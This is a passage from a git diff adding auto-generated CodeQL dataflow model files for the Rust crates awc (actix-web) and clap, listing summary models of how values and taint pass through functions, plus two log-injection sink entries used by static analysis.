"Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::stream_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::stream_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::openssl", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::openssl", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::openssl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_021", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_021", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_021", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_22", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_22", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_22", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_23", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_23", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_23", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ssl", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ssl", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ssl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::timeout]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service].Reference", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Resolver(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Http(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(1)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Http(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::pool::ConnectionPool::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[crate::client::pool::ConnectionPoolInner(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::pool::Key::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::into_client_response", "Argument[self].Field[crate::connect::ConnectResponse::Client(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(0)]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(1)]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectRequestFuture::Connection::req].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::connect::DefaultConnector::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_header", "Argument[self].Reference", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_headers", "Argument[0]", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::extra_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_headers", "Argument[self].Reference", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extra_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::frozen::FrozenSendBuilder::extra_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self].Field[crate::frozen::FrozenSendBuilder::req].Field[crate::frozen::FrozenClientRequest::response_decompress]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::middleware::NestTransform::child]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::middleware::NestTransform::parent]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new_transform", "Argument[self].Field[crate::middleware::redirect::Redirect::max_redirect_times]", "ReturnValue.Field[crate::middleware::redirect::RedirectService::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirect_times", "Argument[0]", "Argument[self].Field[crate::middleware::redirect::Redirect::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirect_times", "Argument[0]", "ReturnValue.Field[crate::middleware::redirect::Redirect::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirect_times", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0].Field[crate::connect::ConnectRequest::Client(1)].Field[crate::any_body::AnyBody::Bytes::body]", "ReturnValue.Field[crate::middleware::redirect::RedirectServiceFuture::Client::body].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0].Field[crate::connect::ConnectRequest::Client(2)]", "ReturnValue.Field[crate::middleware::redirect::RedirectServiceFuture::Client::addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::middleware::redirect::RedirectService::max_redirect_times]", "ReturnValue.Field[crate::middleware::redirect::RedirectServiceFuture::Client::max_redirect_times]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::camel_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::content_length", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::force_close", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_method", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_peer_addr", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::peer_addr]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_uri", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::uri]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get_version", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers_mut", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::insert_header_if_none", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::method", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::method", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[2]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::no_decompress", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::query", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "Argument[self].Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::read_body::ReadBody::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::read_body::ReadBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self].Field[crate::responses::response::ClientResponse::head].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::take_payload", "Argument[self].Field[crate::responses::response::ClientResponse::payload]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "Argument[self].Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::body", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[crate::responses::response::ClientResponse::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::json", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::map_body", "Argument[0].ReturnValue", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::status", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::sender::SendClientRequest::Err(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::finish", "Argument[self].Field[crate::test::TestResponse::head]", "ReturnValue.Field[crate::responses::response::ClientResponse::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "Argument[self].Field[crate::test::TestResponse::head].Field[crate::responses::head::ResponseHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "ReturnValue.Field[crate::test::TestResponse::head].Field[crate::responses::head::ResponseHead::version]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "Argument[self].Field[crate::ws::WebsocketsRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[0]", "ReturnValue.Field[crate::ws::WebsocketsRequest::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_frame_size", "Argument[0]", "Argument[self].Field[crate::ws::WebsocketsRequest::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_frame_size", "Argument[0]", "ReturnValue.Field[crate::ws::WebsocketsRequest::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::ws::WebsocketsRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::origin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::protocols", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::server_mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::set_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::set_header_if_none", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:awc", "crate::client::h2proto::send_request", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml new file mode 100644 index 000000000000..f6539d8bde13 --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml @@ -0,0 +1,17 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_args", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_args_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap", "::from_matches", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml new file mode 100644 index 000000000000..8daf130e9ea5 --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[crate::Args(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::name", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::name", "Argument[self].Field[crate::Args(0)]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml 